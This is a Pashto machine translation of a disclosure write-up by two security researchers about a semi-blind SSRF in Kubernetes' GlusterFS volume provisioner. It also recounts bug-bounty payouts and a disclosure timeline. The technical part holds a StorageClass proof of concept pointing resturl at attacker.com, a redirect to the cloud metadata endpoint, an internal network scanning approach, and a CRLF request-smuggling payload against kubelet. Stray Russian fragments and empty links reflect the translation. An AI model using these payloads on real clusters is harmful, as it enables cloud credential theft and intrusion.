نوټ. ژباړه: د دې مقالې لیکوالان په دې اړه په تفصیل سره خبرې کوي چې څنګه دوی د زیان مننې په موندلو کې بریالي شوي په Kubernetes کې. که څه هم په پیل کې دا خورا خطرناک نه بریښي ، د نورو فاکتورونو سره په ترکیب کې د دې انتقاد د ځینې بادل چمتو کونکو لپاره اعظمي وګرځید. ډیری سازمانونو په سخاوت سره متخصصینو ته د دوی د کار لپاره انعام ورکړ.
موږ څوک یو
موږ دوه فرانسوي امنیتي څیړونکي یو چې په ګډه یې په کبرنیټس کې زیان منونکي وموندل. زموږ نومونه بریس اګراس او کریسټوف هاوکیورټ دي ، مګر په ډیری بګ باونټي پلیټ فارمونو کې موږ په ترتیب سره د ریورزیکس او هاچ په نوم پیژندل کیږو:
- - ;
- - په نوکیا کې Kubernetes معمار.
څه پیښ شو؟
دا مقاله زموږ د شریکولو لاره ده چې څنګه د یوې عادي څیړنې پروژه په غیر متوقع ډول د بګ ښکار په ژوند کې ترټولو په زړه پورې جرات بدله شوه (لږترلږه د اوس لپاره).
لکه څنګه چې تاسو شاید پوهیږئ، د بګ ښکار یو څو د پام وړ ځانګړتیاوې لري:
- دوی په پیزا او بیر کې ژوند کوي؛
- دوی کار کوي کله چې نور ټول ویده وي.
موږ د دې مقرراتو څخه استثنا نه یو: موږ معمولا د اونۍ په پای کې سره ګورو او بې خوبه شپې په هیکینګ تیروو. خو له دغو شپو څخه یوه یې په خورا غیر معمولي ډول پای ته ورسېده.
په پیل کې موږ د ګډون په اړه د خبرو اترو لپاره لیدنه کوله په راتلونکې ورځ. د مدیریت شوي خدماتو چاپیریال کې د کوبرنیټس امنیت په اړه د خبرو اترو په جریان کې ، موږ د SSRF پخوانی نظر یاد کړ () او پریکړه یې وکړه چې دا د برید سکریپټ په توګه کارولو هڅه وکړي.
په 11 بجو موږ د خپلې څیړنې لپاره ناست یو او سهار وختي خوب ته لاړو، د پایلو څخه ډیر خوښ وو. دا د دې څیړنې له امله و چې موږ د MSRC بګ باونټي برنامه سره مخ شو او د امتیازاتو د زیاتوالي استحصال سره مخ شو.
څو اونۍ/میاشتې تیرې شوې، او زموږ غیر متوقع پایلې د Azure Cloud Bug Bounty په تاریخ کې ترټولو لوړ انعامونه دي - سربیره پردې چې موږ د کوبرنیټس څخه ترلاسه کړل!
زموږ د څیړنې پروژې پراساس ، د کوبرنیټس محصول امنیت کمیټه خپره کړه .
اوس زه غواړم د موندل شوي زیان په اړه معلومات د امکان تر حده خپاره کړم. موږ امید لرو چې تاسو د موندلو ستاینه وکړئ او تخنیکي توضیحات د انفوسیک ټولنې نورو غړو سره شریک کړئ!
نو دلته زموږ کیسه ده ...
مقاله
د هغه څه د ډیری احساس کولو لپاره چې پیښ شوي ، راځئ لومړی وګورو چې کبرنیټس په بادل اداره شوي چاپیریال کې څنګه کار کوي.
کله چې تاسو په داسې چاپیریال کې د Kubernetes کلستر انسټیټ کړئ، د مدیریت پرت عموما د بادل چمتو کونکي مسؤلیت دی:
د کنټرول پرت د کلاوډ چمتو کونکي په چوکاټ کې موقعیت لري، پداسې حال کې چې د کوبرنیټس نوډونه د پیرودونکي په احاطه کې موقعیت لري
په متحرک ډول د حجمونو تخصیص کولو لپاره، یو میکانیزم کارول کیږي ترڅو دوی په متحرک ډول د بهرني ذخیره کولو پس منظر څخه چمتو کړي او د PVC سره پرتله کړي (د دوامدار حجم ادعا، د بیلګې په توګه د حجم غوښتنه).
په دې توګه، وروسته له دې چې PVC جوړ شو او د K8s کلستر کې د ذخیره کولو کلاس ته پابند شو، د حجم چمتو کولو لپاره نور اقدامات د کیوب / کلاوډ کنټرولر مدیر لخوا اخیستل کیږي (د دې دقیق نوم په خوشې کولو پورې اړه لري). (نوټ. ژباړه: موږ دمخه د CCM په اړه نور څه لیکلي دي چې د یو بادل چمتو کونکي لپاره د دې پلي کولو مثال په کارولو سره .)
د کوبرنیټس لخوا ملاتړ شوي چمتو کونکي ډیری ډولونه شتون لري: ډیری یې په کې شامل دي ، پداسې حال کې چې نور د اضافي چمتو کونکو لخوا اداره کیږي چې په کلستر کې په پوډونو کې ځای په ځای شوي.
زموږ په څیړنه کې، موږ د داخلي حجم چمتو کولو میکانیزم باندې تمرکز وکړ، کوم چې لاندې تشریح شوي:
د جوړ شوي Kubernetes چمتو کونکي په کارولو سره د حجمونو متحرک چمتو کول
په لنډه توګه، کله چې Kubernetes په یوه اداره شوي چاپیریال کې ځای پر ځای شي، د کنټرولر مدیر د بادل چمتو کونکي مسؤلیت دی، مګر د حجم جوړولو غوښتنه (په پورتنۍ ډیاګرام کې 3 شمیره) د کلاوډ چمتو کونکي داخلي شبکه پریږدي. او دا هغه ځای دی چې شیان واقعیا په زړه پوري کیږي!
د هیک کولو سناریو
پدې برخه کې، موږ به تشریح کړو چې څنګه موږ د پورته ذکر شوي کاري فلو څخه ګټه پورته کړه او د کلاوډ خدمت چمتو کونکي داخلي سرچینو ته لاسرسی وموند. دا به تاسو ته دا هم وښیې چې تاسو څنګه ځینې کړنې ترسره کولی شئ، لکه د داخلي اسنادو ترلاسه کول یا د امتیازاتو زیاتوالی.
یو ساده لاسوهنه (په دې حالت کې، د خدماتو اړخ غوښتنه جعل) د پیرودونکي چاپیریال څخه هاخوا د مدیریت K8s الندې د مختلف خدماتو چمتو کونکو کلسترونو کې مرسته وکړه.
زموږ په څیړنه کې موږ د ګلسټر ایف ایس چمتو کونکي باندې تمرکز وکړ. د دې حقیقت سره سره چې د عملونو نور ترتیب پدې شرایطو کې بیان شوی، Quobyte، StorageOS او ScaleIO د ورته زیان سره حساس دي.
د متحرک حجم چمتو کولو میکانیزم ناوړه ګټه اخیستنه
د ذخیره کولو ټولګي تحلیل په جریان کې ګلسټر ایف ایس د ګولنګ پیرودونکي سرچینې کوډ کې موږ چې په لومړي HTTP غوښتنه (3) کې د حجم رامینځته کولو پرمهال لیږل شوی ، په پیرامیټر کې د دودیز URL پای ته resturl اضافه شوی /volumes.
موږ پریکړه وکړه چې په اضافه کولو سره د دې اضافي لارې څخه ځان خلاص کړو # په پیرامیټر کې resturl. دلته لومړی د YAML ترتیب دی چې موږ یې د نیمه ړوند SSRF زیان مننې لپاره ازمایښت کاوه (تاسو کولی شئ د نیمه ړوند یا نیم ړانده SSRF په اړه نور ولولئ، د بیلګې په توګه، - نږدې ژباړه.):
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrfبیا موږ د بائنری څخه کار واخیست ترڅو لیرې د کوبرنیټس کلستر اداره کړي kubectl. عموما، د کلاوډ چمتو کونکي (Azure، Google، AWS، او نور) تاسو ته اجازه درکوي چې په دې کارونې کې د کارولو لپاره اعتبار ترلاسه کړئ.
له دې څخه مننه، زه توانیدلی وم چې زما "ځانګړي" فایل وکاروم. د کیوب کنټرولر مدیر د پایله شوې HTTP غوښتنه اجرا کړه:
kubectl create -f sc-poc.yaml
د برید کوونکي له نظره ځواب
له دې لږ وروسته، موږ د هدف سرور څخه د HTTP ځواب ترلاسه کولو توان درلود - د امرونو له لارې describe pvc او یا get events په kubectl کې. او په حقیقت کې: دا ډیفالټ کوبرنیټس ډرایور په خپلو اخطارونو / خطا پیغامونو کې خورا لفظي دی ...
دلته د لینک سره یو مثال دی https://www.google.frد پیرامیټر په توګه تنظیم کړئ resturl:
kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events
په دې طریقه، موږ د پوښتنو په څیر محدود وو د HTTP پوسټ او نشي کولی د غبرګون بدن مینځپانګې ترلاسه کړي که چیرې د راستنیدو کوډ وي 201. له همدې امله، موږ پریکړه وکړه چې اضافي څیړنې ترسره کړو او د دې هیکینګ سناریو ته د نویو لارو چارو سره پراختیا ورکړو.
زموږ د څیړنې پرمختګ
- پرمختللې سناریو #1: د داخلي ډیټا راټولولو لپاره خورا انعطاف وړ لاره چمتو کولو لپاره د HTTP میتود بدلولو لپاره د بهرني سرور څخه د 302 ریډائریټ کارول.
- پرمختللې سناریو #2: د LAN سکینګ اتومات کول او د داخلي سرچینو کشف.
- پرمختللې سناریو #3: د HTTP CRLF + قاچاق کارول ("د قاچاق غوښتنه") د مناسب HTTP غوښتنې رامینځته کولو لپاره او د کیوب کنټرولر لاګونو څخه استخراج شوي ډیټا بیرته ترلاسه کول.
تخنیکي مشخصات
- څیړنې د شمالي اروپا په سیمه کې د Kubernetes نسخه 1.12 سره Azure Kubernetes Service (AKS) کارولې.
- پورته بیان شوي سناریوګانې د دریمې سناریو په استثنا سره د کبرنیټس وروستي ریلیزونو کې اجرا شوي ، ځکه چې هغه د ګولنګ نسخه ≤ 1.12 سره جوړ شوی Kubernetes ته اړتیا درلوده.
- د برید کوونکي بهرنی سرور -
https://attacker.com.
پرمختللې سناریو #1: د HTTP POST غوښتنې GET ته لیږل او حساس معلومات ترلاسه کول
اصلي میتود د بیرته راستنیدو لپاره د برید کونکي سرور ترتیب کولو سره ښه شوی و 302 HTTP Retcodeد POST غوښتنه د GET غوښتنې ته بدلولو لپاره (په ډیاګرام کې 4 ګام):
لومړۍ غوښتنه (3) د پیرودونکي څخه راځي ګلسټر ایف ایس (کنټرولر مدیر)، د POST ډول لري. د دې ګامونو په تعقیب موږ وکولی شو دا په GET بدل کړو:
- د پیرامیټر په توګه
resturlپه StorageClass کې دا اشاره شوېhttp://attacker.com/redirect.php. - پای ټکی
https://attacker.com/redirect.phpد لاندې ځای سرلیک سره د 302 HTTP حالت کوډ سره ځواب ورکوي:http://169.254.169.254. دا کیدای شي کوم بل داخلي سرچینې وي - پدې حالت کې، ریډیریټ لینک یوازې د مثال په توګه کارول کیږي. - په تلواله net/http کتابتون ګولنګ غوښتنې ته لارښوونه کوي او پوسټ د 302 حالت کوډ سره GET ته بدلوي، په پایله کې د هدف سرچینې ته د HTTP GET غوښتنه کیږي.
د HTTP غبرګون بدن لوستلو لپاره تاسو باید ترسره کړئ describe PVC څیز:
kubectl describe pvc xxxدلته د JSON بڼه کې د HTTP ځواب یوه بیلګه ده چې موږ یې ترلاسه کولو توان درلود:
په هغه وخت کې د موندل شوي زیانمننې وړتیاوې د لاندې ټکو له امله محدودې وې:
- د وتلو غوښتنې ته د HTTP سرلیکونو داخلولو کې ناتواني.
- په بدن کې د پیرامیټونو سره د POST غوښتنې ترسره کولو کې پاتې راتلل (دا مناسب دی چې د etcd مثال په جریان کې د کلیدي ارزښت غوښتنه وکړئ 2379 پورټ که چیرې غیر کوډ شوی HTTP کارول شوی وي).
- کله چې د وضعیت کوډ 200 و او ځواب د JSON مینځپانګې ډول نه درلود د غبرګون بدن مینځپانګې بیرته ترلاسه کولو کې پاتې راتلل.
پرمختللي سناریو #2: د محلي شبکې سکین کول
دا نیمه ړانده SSRF میتود بیا د بادل چمتو کونکي داخلي شبکې سکین کولو لپاره کارول شوی و او د ځوابونو پراساس د مختلف اوریدونکي خدماتو (د میټاډاټا مثال ، کوبیلټ ، etcd ، او داسې نور) نظرپوښتنه کوله. کیوب کنټرولر.
لومړی، د Kubernetes اجزاوو معیاري اوریدلو بندرونه ټاکل شوي (8443، 10250، 10251، او نور)، او بیا موږ باید د سکین کولو پروسه اتومات کړو.
دې ته په کتلو چې د سرچینو سکین کولو دا طریقه خورا مشخصه ده او د کلاسیک سکینرونو او SSRF وسیلو سره مطابقت نلري، موږ پریکړه وکړه چې خپل کارګران په بش سکریپټ کې جوړ کړو چې ټوله پروسه اتومات کړي.
د مثال په توګه، د داخلي شبکې 172.16.0.0/12 رینج چټک سکین کولو لپاره، 15 کارګران په موازي توګه پیل شوي. پورتني IP رینج یوازې د مثال په توګه غوره شوی او ممکن ستاسو د ځانګړي خدمت چمتو کونکي IP رینج سره د بدلون تابع وي.
د یو IP پته او یو بندر سکین کولو لپاره ، تاسو اړتیا لرئ لاندې کارونه وکړئ:
- وروستی چک شوی StorageClass حذف کړئ؛
- پخوانی تایید شوی دوامداره حجم ادعا لرې کړئ؛
- د IP او پورټ ارزښتونه په کې بدل کړئ
sc.yaml; - د نوي IP او پورټ سره د ذخیره کولو کلاس رامینځته کړئ؛
- یو نوی PVC جوړ کړئ؛
- د PVC لپاره د بیان په کارولو سره د سکین پایلې استخراج کړئ.
پرمختللې سناریو #3: CRLF انجیکشن + د کبرنیټس کلستر په "زاړه" نسخو کې د HTTP قاچاق کول
که د دې سربیره چمتو کونکي پیرودونکو ته د K8s کلستر پخوانۍ نسخې وړاندیز کوي и دوی ته د kube-controller-manager لاګونو ته لاسرسی ورکړ، اغیز یې خورا مهم شو.
دا واقعیا د برید کونکي لپاره خورا اسانه دی چې د هغه په اختیار کې د بشپړ HTTP ځواب ترلاسه کولو لپاره ډیزاین شوي HTTP غوښتنې بدل کړي.
د وروستي سناریو پلي کولو لپاره، لاندې شرایط باید پوره شي:
- کارونکي باید د کیوب کنټرولر - مدیر لاګونو ته لاسرسی ولري (لکه د مثال په توګه په Azure LogInsights کې).
- د Kubernetes کلستر باید د ګولنګ نسخه د 1.12 څخه ټیټه وکاروي.
موږ یو ځایی چاپیریال ځای په ځای کړی چې د ګلسټر ایف ایس ګو پیرودونکي او د جعلي هدف سرور ترمینځ ارتباط رامینځته کوي (موږ به د اوس لپاره د PoC خپرولو څخه ډډه وکړو).
وموندل شو د 1.12 څخه ښکته د ګولنګ نسخو اغیزه کوي او هیکرانو ته اجازه ورکوي چې د HTTP قاچاق/CRLF بریدونه ترسره کړي.
د نیم ړندو SSRF په یوځای کولو سره چې پورته بیان شوي вместе له دې سره، موږ وکولای شو چې خپلې خوښې ته غوښتنې واستوو، پشمول د سرلیکونو ځای په ځای کول، د HTTP میتود، پیرامیټونه او ډاټا، کوم چې بیا د کیوب کنټرولر مدیر پروسس شوي.
دلته په پیرامیټر کې د کار کولو "بیت" یوه بیلګه ده resturl StorageClass، کوم چې د ورته برید سناریو پلي کوي:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrnپایله یوه تېروتنه ده ناغوښتل ځواب، یو پیغام چې په اړه یې د کنټرولر لاګ کې ثبت شوی. د ډیفالټ لخوا فعال شوي فعل څخه مننه ، د HTTP ځواب پیغام مینځپانګې هم هلته خوندي شوي.
دا د مفهوم د ثبوت په چوکاټ کې زموږ ترټولو اغیزمن "بیت" و.
د دې تګلارې په کارولو سره، موږ وکولای شو چې د مختلفو مدیریت شوي k8s چمتو کونکو کلسترونو باندې ځینې لاندې بریدونه ترسره کړو: د میټاډاټا مثالونو کې د اعتبارونو سره د امتیازاتو زیاتوالی، د ماسټر DoS له لارې (نه کوډ شوي) HTTP غوښتنې د etcd ماسټر مثالونو کې، او نور.
پایلې
د SSRF د زیان مننې په اړه د Kubernetes رسمي بیان کې چې موږ وموندل شو، دا درجه بندي شوې CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. که موږ یوازې زیانمنتیا په پام کې ونیسو چې د Kubernetes perimeter سره تړاو لري، د بشپړتیا ویکتور (د بشپړتیا ویکتور) دا په توګه وړتیا لري هیڅ یو.
په هرصورت، د مدیریت شوي خدماتو چاپیریال په شرایطو کې د احتمالي پایلو ارزونه (او دا زموږ د څیړنې ترټولو زړه پورې برخه وه!) موږ ته وهڅول چې زیانمنتیا په درجه بندي کې بیا طبقه بندي کړو. مهم CVSS10/10 د ډیری توزیع کونکو لپاره.
لاندې اضافي معلومات دي چې تاسو سره زموږ په نظرونو پوهیدو کې مرسته کوي کله چې په بادل چاپیریال کې د احتمالي اغیزو ارزونه وکړئ:
بشپړتیا
- د ترلاسه شوي داخلي اسنادو په کارولو سره په لیرې توګه کمانډونه اجرا کړئ.
- د IDOR (ناامنه مستقیم اعتراض حواله) میتود په کارولو سره پورتنۍ سناریو بیا تولید کول د نورو سرچینو سره په محلي شبکه کې موندل شوي.
محرمیت
- د برید ډول د بادل اسنادو غلا کولو څخه مننه (د مثال په توګه، د میټاډاټا API).
- د محلي شبکې سکین کولو سره د معلوماتو راټولول (د SSH نسخه ټاکل، د HTTP سرور نسخه، ...).
- د داخلي APIs لکه د میټاډاټا API (
http://169.254.169.254،…). - د کلاوډ اسنادو په کارولو سره د پیرودونکو ډیټا غلا کول.
شتون
د برید ویکتورونو پورې اړوند ټول سناریوګانې استحصال کوي بشپړتیا، د تخریبي کړنو لپاره کارول کیدی شي او د پیرودونکي پیریمیټ (یا کوم بل) شتون نلري ماسټر مثالونو ته لاره هواروي.
څرنګه چې موږ د K8s په یوه اداره شوي چاپیریال کې یو او په بشپړتیا باندې د اغیزو ارزونه کوو، موږ کولی شو ډیری سناریوګانې تصور کړو چې کولی شي په شتون اغیزه وکړي. په اضافي مثالونو کې د etcd ډیټابیس فاسد کول یا د Kubernetes API ته مهم تلیفون کول شامل دي.
د وخت وخت
- دسمبر 6، 2019: زیانمنتیا د MSRC بګ فضل ته راپور شوې.
- د جنوري 3، 2020: یوې دریمې ډلې د کبرنیټس پراختیا کونکو ته خبر ورکړ چې موږ په امنیت مسله کار کوو. او له دوی څخه یې وغوښتل چې SSRF د داخلي (اصلي) زیانمننې په توګه په پام کې ونیسي. بیا موږ د ستونزې د سرچینې په اړه د تخنیکي توضیحاتو سره یو عمومي راپور چمتو کړ.
- د جنوري 15، 2020: موږ د Kubernetes پراختیا کونکو ته د دوی په غوښتنه (د HackerOne پلیټ فارم له لارې) تخنیکي او عمومي راپورونه چمتو کړل.
- جنوري 15، 2020: د کبرنیټس پراختیا کونکو موږ ته خبر راکړ چې د تیرو خپرونو لپاره نیم ړانده SSRF + CRLF انجیکشن په کور کې زیانمنونکي ګڼل کیږي. موږ سمدلاسه د نورو خدماتو چمتو کونکو حدودو تحلیل بند کړ: د K8s ټیم اوس د اصلي لامل سره معامله کوي.
- د جنوري 15، 2020: د MSRC انعام د HackerOne له لارې ترلاسه شو.
- جنوري 16، 2020: د کبرنیټس PSC (د محصول امنیت کمیټه) زیان منونکی وپیژندل او غوښتنه یې وکړه چې د احتمالي قربانیانو لوی شمیر له امله د مارچ تر نیمایي پورې پټ وساتي.
- د فبروري 11، 2020: د ګوګل VRP انعام ترلاسه شو.
- د مارچ 4، 2020: د HackerOne له لارې د Kubernetes انعام ترلاسه شو.
- د مارچ 15، 2020: په اصل کې ټاکل شوي عامه افشا کول د COVID-19 وضعیت له امله ځنډول شوي.
- د جون 1، 2020: کوبرنیټس + مایکروسافټ د زیان مننې په اړه ګډه اعلامیه.
د تمديد؛ DR
- موږ بیر څښو او پیزا خورو :)
- موږ په کوبرنیټس کې یو داخلي زیان منونکی وموند، که څه هم موږ د دې کولو اراده نه درلوده.
- موږ د مختلف بادل چمتو کونکو کلسترونو باندې اضافي تحلیلونه ترسره کړل او د اضافي عالي بونس ترلاسه کولو لپاره د زیان مننې له امله رامینځته شوي زیان ډیرولو توان درلود.
- تاسو به پدې مقاله کې ډیری تخنیکي توضیحات ومومئ. موږ به خوښ یو چې له تاسو سره یې خبرې وکړو (ټویټر: & ).
- دا معلومه شوه چې ټول ډوله رسميات او راپور ورکول د توقع څخه ډیر وخت نیسي.
مرجع
- ;
- ;
- ;
- .
PS د ژباړونکي څخه
زموږ په بلاګ کې هم ولولئ:
- «»
- «»
- «".
سرچینه: www.habr.com